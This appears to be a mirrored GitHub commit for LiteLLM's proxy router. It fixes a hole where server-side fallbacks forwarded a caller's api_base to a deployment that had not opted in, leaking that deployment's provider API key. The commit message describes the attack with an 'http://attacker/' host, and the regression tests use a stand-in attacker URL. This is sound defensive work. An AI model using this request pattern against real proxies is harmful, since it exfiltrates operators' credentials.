mirror of
https://github.com/BerriAI/litellm.git
synced 2026-09-28 01:32:17 +00:00
fix(router): re-validate clientside-credential opt-in when fallbacks re-dispatch
Auth-time validation of caller-supplied clientside credentials (api_base /
api_key / base_url) checks the opt-in for the model the caller DECLARED
only. Server-side router fallbacks re-dispatch the same kwargs to a
DIFFERENT deployment: if model-a opts into configurable api_base and the
config lists model-b as model-a's fallback, a caller can send
{"model": "model-a", "api_base": "http://attacker/"} (passes auth for
model-a), make their host answer 500, and the fallback re-dispatch would
forward the caller's api_base to model-b's dispatch — overriding model-b's
api_base while keeping model-b's own api_key, exfiltrating that provider
key to the caller-chosen host.
Three coordinated pieces:
- litellm_pre_call_utils: stamp the authoritative clientside-credential
opt-in scope into request metadata ("proxy_wide" when
general_settings.allow_client_side_credentials is true, else
"per_model"), and strip caller-forged values for that metadata key
(_UNTRUSTED_METADATA_CONTROL_FIELDS) so the scope cannot be spoofed.
- router: at dispatch time, drop clientside credential keys the deployment
being dispatched did not opt in to
(strip_clientside_credentials_without_deployment_opt_in) before the
clientside-credential branch can forward them.
- clientside_credential_handler: the scope constants, the per-deployment
opt-in check mirroring proxy auth's _is_param_allowed (kept local to
avoid a proxy -> router_utils circular import), and the strip helper.
Deliberately narrow scoping so the SDK router's per-call credential
feature is unchanged: no scope stamp (plain SDK call) -> unchanged;
proxy_wide -> unchanged; per_model -> each clientside credential key must
be opted in by the deployment being dispatched, else it is stripped and
the deployment's own config is used.
Regression: model-a(opt-in) -> 500 -> fallback model-b previously served
the fallback with model-b's dispatch pointed at the attacker URL and
leaked "Authorization: Bearer sk-backend-B-credential" to it; with this
change the fallback uses model-b's configured upstream, only the opted-in
model-a ever honors the caller's api_base, and the direct control
(model-b + api_base, no fallback) still 401s.
This commit is contained in:
parent
a9f8a8d794
commit
85e61375d9
4 changed files with 300 additions and 1 deletions
|
|
@ -271,6 +271,10 @@ _UNTRUSTED_ROOT_CONTROL_FIELDS: Final = (
|
|||
)
|
||||
|
||||
_UNTRUSTED_METADATA_CONTROL_FIELDS: Final = (
|
||||
# Proxy-authoritative clientside-credential opt-in scope; the proxy
|
||||
# overwrites it in add_litellm_data_to_request, so a caller-forged value
|
||||
# must never survive to the router.
|
||||
"litellm_proxy_clientside_credential_scope",
|
||||
"disable_global_guardrails",
|
||||
"disable_global_guardrail",
|
||||
"opted_out_global_guardrails",
|
||||
|
|
@ -1781,7 +1785,15 @@ async def add_litellm_data_to_request(
|
|||
|
||||
"""
|
||||
|
||||
from litellm.proxy.proxy_server import llm_router, premium_user
|
||||
# The general_settings alias is the fallback for callers that don't pass
|
||||
# it: needed to stamp the clientside-credential opt-in scope below.
|
||||
from litellm.proxy.proxy_server import (
|
||||
general_settings as _proxy_general_settings,
|
||||
)
|
||||
from litellm.proxy.proxy_server import (
|
||||
llm_router,
|
||||
premium_user,
|
||||
)
|
||||
from litellm.types.proxy.litellm_pre_call_utils import RedactedDict, SecretFields
|
||||
|
||||
# Strip internal-only keys from user input before the proxy sets its own.
|
||||
|
|
@ -2051,6 +2063,28 @@ async def add_litellm_data_to_request(
|
|||
)
|
||||
data[_metadata_variable_name]["litellm_api_version"] = version
|
||||
|
||||
# Stamp the authoritative clientside-credential opt-in scope for this
|
||||
# request: "proxy_wide" when general_settings.allow_client_side_credentials
|
||||
# is true, else "per_model". The router re-validates per-deployment opt-in
|
||||
# whenever these kwargs are re-dispatched (server-side fallbacks) — without
|
||||
# this, a fallback target that never opted in would get its api_base
|
||||
# overridden to the caller's URL while keeping its own api_key.
|
||||
# Any caller-supplied value for this key was stripped above
|
||||
# (_UNTRUSTED_METADATA_CONTROL_FIELDS), so this value cannot be forged.
|
||||
from litellm.router_utils.clientside_credential_handler import (
|
||||
PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY,
|
||||
PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL,
|
||||
PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE,
|
||||
)
|
||||
|
||||
_clientside_scope_settings: Final = general_settings if general_settings is not None else _proxy_general_settings
|
||||
data[_metadata_variable_name][PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY] = (
|
||||
PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE
|
||||
if isinstance(_clientside_scope_settings, dict)
|
||||
and _clientside_scope_settings.get("allow_client_side_credentials") is True
|
||||
else PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL
|
||||
)
|
||||
|
||||
if general_settings is not None:
|
||||
data[_metadata_variable_name]["global_max_parallel_requests"] = general_settings.get(
|
||||
"global_max_parallel_requests", None
|
||||
|
|
|
|||
|
|
@ -131,6 +131,7 @@ from litellm.router_utils.client_initalization_utils import InitalizeCachedClien
|
|||
from litellm.router_utils.clientside_credential_handler import (
|
||||
get_dynamic_litellm_params,
|
||||
is_clientside_credential,
|
||||
strip_clientside_credentials_without_deployment_opt_in,
|
||||
)
|
||||
from litellm.router_utils.common_utils import (
|
||||
_is_proxy_admin_request,
|
||||
|
|
@ -3623,6 +3624,12 @@ class Router:
|
|||
deployment_litellm_model_name = deployment["litellm_params"]["model"]
|
||||
deployment_api_base = deployment["litellm_params"].get("api_base")
|
||||
deployment_model_name: Final = deployment["model_name"]
|
||||
# Re-dispatches (server-side fallbacks) reuse these kwargs against a
|
||||
# deployment that never saw the auth-time opt-in check. Drop any
|
||||
# clientside credential key this deployment did not opt in to before
|
||||
# the clientside-credential branch can forward them (which would
|
||||
# override the deployment's api_base while keeping its api_key).
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=deployment, kwargs=kwargs)
|
||||
if is_clientside_credential(request_kwargs=kwargs):
|
||||
deployment_pydantic_obj: Final = self._handle_clientside_credential(
|
||||
deployment=deployment, kwargs=kwargs, function_name=function_name
|
||||
|
|
|
|||
|
|
@ -11,10 +11,24 @@ If given, generate a unique model_id for the deployment.
|
|||
Ensures cooldowns are applied correctly.
|
||||
"""
|
||||
|
||||
import re
|
||||
from collections.abc import Mapping
|
||||
from typing import Final
|
||||
|
||||
clientside_credential_keys: Final = ["api_key", "api_base", "base_url"]
|
||||
|
||||
# Metadata key the proxy stamps with the admin opt-in scope that authorized
|
||||
# the caller's clientside credentials at auth time. Consumed by
|
||||
# strip_clientside_credentials_without_deployment_opt_in below to re-validate
|
||||
# per-deployment opt-in when a re-dispatch (server-side router fallback) would
|
||||
# otherwise forward those credentials to a deployment that never opted in.
|
||||
# User-supplied values for this key are stripped by the proxy (see
|
||||
# litellm/proxy/litellm_pre_call_utils.py _UNTRUSTED_METADATA_CONTROL_FIELDS),
|
||||
# so the scope cannot be forged by a caller.
|
||||
PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY: Final = "litellm_proxy_clientside_credential_scope"
|
||||
PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE: Final = "proxy_wide"
|
||||
PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL: Final = "per_model"
|
||||
|
||||
|
||||
def _admin_config_fields_to_clear_on_base_override() -> list[str]:
|
||||
"""
|
||||
|
|
@ -103,3 +117,99 @@ def get_dynamic_litellm_params(litellm_params: dict, request_kwargs: dict) -> di
|
|||
litellm_params[field] = request_kwargs[field]
|
||||
|
||||
return litellm_params
|
||||
|
||||
|
||||
def _clientside_param_allowed_for_deployment(
|
||||
param: str,
|
||||
request_body_value: object,
|
||||
configurable_clientside_auth_params: object,
|
||||
) -> bool:
|
||||
"""
|
||||
Mirror of litellm.proxy.auth.auth_utils._is_param_allowed (kept here
|
||||
because router_utils cannot import from the proxy package without a
|
||||
circular import). A param is allowed when the deployment's
|
||||
``configurable_clientside_auth_params`` names it, or — for ``api_base``
|
||||
only — a ``{"api_base": <pattern>}`` dict entry regex/equal-matches the
|
||||
caller-supplied value.
|
||||
"""
|
||||
if configurable_clientside_auth_params is None:
|
||||
return False
|
||||
|
||||
for item in configurable_clientside_auth_params:
|
||||
if isinstance(item, str) and param == item:
|
||||
return True
|
||||
if isinstance(item, dict) and param == "api_base" and isinstance(request_body_value, str):
|
||||
pattern = item.get("api_base")
|
||||
if isinstance(pattern, str) and (re.match(pattern, request_body_value) or pattern == request_body_value):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def strip_clientside_credentials_without_deployment_opt_in(deployment: Mapping[str, object], kwargs: dict) -> None:
|
||||
"""
|
||||
Re-validate the proxy's per-deployment clientside-credential opt-in at
|
||||
(re-)dispatch time.
|
||||
|
||||
Auth time (litellm.proxy.auth.auth_utils._check_banned_params) validates
|
||||
caller-supplied clientside credentials (api_key / api_base / base_url)
|
||||
against the model the caller DECLARED only. Server-side router fallbacks
|
||||
re-dispatch the same kwargs to a DIFFERENT deployment, which must re-consent:
|
||||
without this check, a deployment that never opted in gets its api_base
|
||||
overridden to the caller's URL while keeping its own api_key, exfiltrating
|
||||
that deployment's provider key to the caller-chosen host.
|
||||
|
||||
Scoping (deliberately narrow so the SDK router's per-call credential
|
||||
feature is unchanged):
|
||||
- No scope stamp in kwargs metadata (plain SDK completion call, or a proxy
|
||||
route that never stamped one): unchanged behavior.
|
||||
- ``proxy_wide`` (general_settings.allow_client_side_credentials = true):
|
||||
the admin opted every deployment in; unchanged behavior.
|
||||
- ``per_model``: each clientside credential key in kwargs must be opted in
|
||||
by the deployment being dispatched (its model_info /
|
||||
litellm_params ``configurable_clientside_auth_params``); keys that are
|
||||
not are stripped so the dispatch uses the deployment's own config.
|
||||
|
||||
Metadata buckets: the proxy stamps the scope into exactly one of
|
||||
``metadata`` / ``litellm_metadata`` (``_get_metadata_variable_name``).
|
||||
On LITELLM_METADATA_ROUTES (/v1/messages, responses, batches, bedrock,
|
||||
files) and the thread/assistant routes that bucket is
|
||||
``litellm_metadata``, while a caller-supplied provider-facing ``metadata``
|
||||
object survives as a SECOND kwargs bucket. This helper therefore inspects
|
||||
every bucket — reading only one let an unstamped caller ``metadata``
|
||||
object shadow the stamp and skip stripping on fallback re-dispatch.
|
||||
Non-dict buckets (e.g. a JSON-encoded string) cannot carry the stamp and
|
||||
are skipped. Caller-forged scope values are stripped upstream
|
||||
(_UNTRUSTED_METADATA_CONTROL_FIELDS), so any value found is
|
||||
proxy-authored; if buckets ever disagree, fail closed to the most
|
||||
restrictive scope (``per_model``), mirroring the both-bucket loops the
|
||||
proxy uses at its other security boundaries.
|
||||
"""
|
||||
scope: str | None = None
|
||||
for metadata_key in ("metadata", "litellm_metadata"):
|
||||
metadata_bucket: object = kwargs.get(metadata_key)
|
||||
if not isinstance(metadata_bucket, dict):
|
||||
continue
|
||||
bucket_scope: object = metadata_bucket.get(PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY)
|
||||
if bucket_scope == PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL:
|
||||
scope = PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL
|
||||
break
|
||||
if bucket_scope == PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE and scope is None:
|
||||
scope = PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PROXY_WIDE
|
||||
if scope != PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_PER_MODEL:
|
||||
return
|
||||
|
||||
allowed_params: object = None
|
||||
model_info: object = deployment.get("model_info")
|
||||
if isinstance(model_info, Mapping):
|
||||
allowed_params = model_info.get("configurable_clientside_auth_params")
|
||||
if allowed_params is None:
|
||||
litellm_params: object = deployment.get("litellm_params")
|
||||
if isinstance(litellm_params, Mapping):
|
||||
allowed_params = litellm_params.get("configurable_clientside_auth_params")
|
||||
else:
|
||||
allowed_params = getattr(litellm_params, "configurable_clientside_auth_params", None)
|
||||
|
||||
for key in clientside_credential_keys:
|
||||
if key in kwargs and not _clientside_param_allowed_for_deployment(key, kwargs[key], allowed_params):
|
||||
kwargs.pop(key, None)
|
||||
|
|
|
|||
|
|
@ -0,0 +1,148 @@
|
|||
"""
|
||||
Regression tests for the clientside-credential fallback re-validation scope
|
||||
lookup (see litellm/router_utils/clientside_credential_handler.py).
|
||||
|
||||
The proxy stamps the opt-in scope into exactly one metadata bucket
|
||||
(``_get_metadata_variable_name``): ``litellm_metadata`` on
|
||||
LITELLM_METADATA_ROUTES (/v1/messages, responses, batches, bedrock, files)
|
||||
and the thread/assistant routes, ``metadata`` everywhere else — while a
|
||||
caller-supplied provider-facing ``metadata`` object can survive as a second
|
||||
kwargs bucket on those routes. The strip helper must consult EVERY bucket so
|
||||
an unstamped caller bucket cannot shadow the proxy stamp (PR 40001 review:
|
||||
"High: Duplicate metadata bypasses fallback credential stripping").
|
||||
"""
|
||||
|
||||
from litellm.router_utils.clientside_credential_handler import (
|
||||
PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY,
|
||||
strip_clientside_credentials_without_deployment_opt_in,
|
||||
)
|
||||
|
||||
SCOPE_KEY = PROXY_CLIENTSIDE_CREDENTIAL_SCOPE_METADATA_KEY
|
||||
ATTACKER_API_BASE = "http://127.0.0.1:9/attacker"
|
||||
|
||||
DEPLOYMENT_WITHOUT_OPT_IN = {
|
||||
"model_name": "model-b",
|
||||
"litellm_params": {
|
||||
"model": "openai/gpt-4o",
|
||||
"api_key": "sk-backend-b",
|
||||
"api_base": "http://legit-upstream",
|
||||
},
|
||||
}
|
||||
DEPLOYMENT_WITH_OPT_IN = {
|
||||
"model_name": "model-b",
|
||||
"litellm_params": {
|
||||
"model": "openai/gpt-4o",
|
||||
"api_key": "sk-backend-b",
|
||||
"api_base": "http://legit-upstream",
|
||||
"configurable_clientside_auth_params": ["api_base"],
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def _kwargs_with_caller_credential() -> dict:
|
||||
return {"api_base": ATTACKER_API_BASE, "messages": [{"role": "user", "content": "hi"}]}
|
||||
|
||||
|
||||
def test_caller_metadata_does_not_shadow_per_model_stamp_in_litellm_metadata():
|
||||
"""The reported bypass shape: unstamped caller ``metadata`` object + per_model
|
||||
stamp in ``litellm_metadata`` (LITELLM_METADATA_ROUTES / thread routes)."""
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
kwargs["metadata"] = {"user_id": "legit-anthropic-metadata"}
|
||||
kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"}
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert "api_base" not in kwargs
|
||||
|
||||
|
||||
def test_reverse_bucket_order_still_strips():
|
||||
"""Stamp in ``metadata`` (regular routes) must not be shadowed by an
|
||||
unstamped ``litellm_metadata`` bucket either."""
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
kwargs["metadata"] = {SCOPE_KEY: "per_model"}
|
||||
kwargs["litellm_metadata"] = {"user_id": "unrelated"}
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert "api_base" not in kwargs
|
||||
|
||||
|
||||
def test_json_string_metadata_bucket_does_not_shadow_stamp():
|
||||
"""A JSON-encoded string bucket (multipart/extra_body shape) cannot carry
|
||||
the stamp and must not shadow the dict bucket that does."""
|
||||
import json
|
||||
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
kwargs["metadata"] = json.dumps({"user_id": "legit"})
|
||||
kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"}
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert "api_base" not in kwargs
|
||||
|
||||
|
||||
def test_conflicting_scopes_fail_closed_to_per_model():
|
||||
"""If buckets ever disagree, the most restrictive scope wins. (Caller-forged
|
||||
scope values are stripped upstream, so this is defense in depth.)"""
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
kwargs["metadata"] = {SCOPE_KEY: "proxy_wide"}
|
||||
kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"}
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert "api_base" not in kwargs
|
||||
|
||||
|
||||
def test_bracket_encoded_and_case_variant_keys_do_not_shadow_stamp():
|
||||
"""Form-style ``metadata[...]`` keys and case variants are distinct kwargs
|
||||
keys and must never be mistaken for (or shadow) a stamped bucket."""
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
kwargs["metadata[foo]"] = "bar"
|
||||
kwargs["Metadata"] = {"user_id": "case-variant"}
|
||||
kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"}
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert "api_base" not in kwargs
|
||||
|
||||
|
||||
def test_no_scope_stamp_leaves_sdk_router_behavior_unchanged():
|
||||
"""Plain SDK completion call (no proxy stamp anywhere): the per-call
|
||||
clientside credential feature must keep working."""
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
kwargs["metadata"] = {"user_id": "sdk-user"}
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert kwargs["api_base"] == ATTACKER_API_BASE
|
||||
|
||||
|
||||
def test_missing_metadata_entirely_leaves_behavior_unchanged():
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert kwargs["api_base"] == ATTACKER_API_BASE
|
||||
|
||||
|
||||
def test_proxy_wide_scope_leaves_credential_untouched():
|
||||
"""Admin opted every deployment in via
|
||||
general_settings.allow_client_side_credentials."""
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
kwargs["metadata"] = {SCOPE_KEY: "proxy_wide"}
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITHOUT_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert kwargs["api_base"] == ATTACKER_API_BASE
|
||||
|
||||
|
||||
def test_opted_in_deployment_keeps_caller_credential_under_per_model():
|
||||
"""The benign primary-path case: the dispatched deployment opted in to the
|
||||
credential key, so the caller's value is honored even under per_model."""
|
||||
kwargs = _kwargs_with_caller_credential()
|
||||
kwargs["metadata"] = {"user_id": "legit"}
|
||||
kwargs["litellm_metadata"] = {SCOPE_KEY: "per_model"}
|
||||
|
||||
strip_clientside_credentials_without_deployment_opt_in(deployment=DEPLOYMENT_WITH_OPT_IN, kwargs=kwargs)
|
||||
|
||||
assert kwargs["api_base"] == ATTACKER_API_BASE
|
||||
Loading…
Add table
Reference in a new issue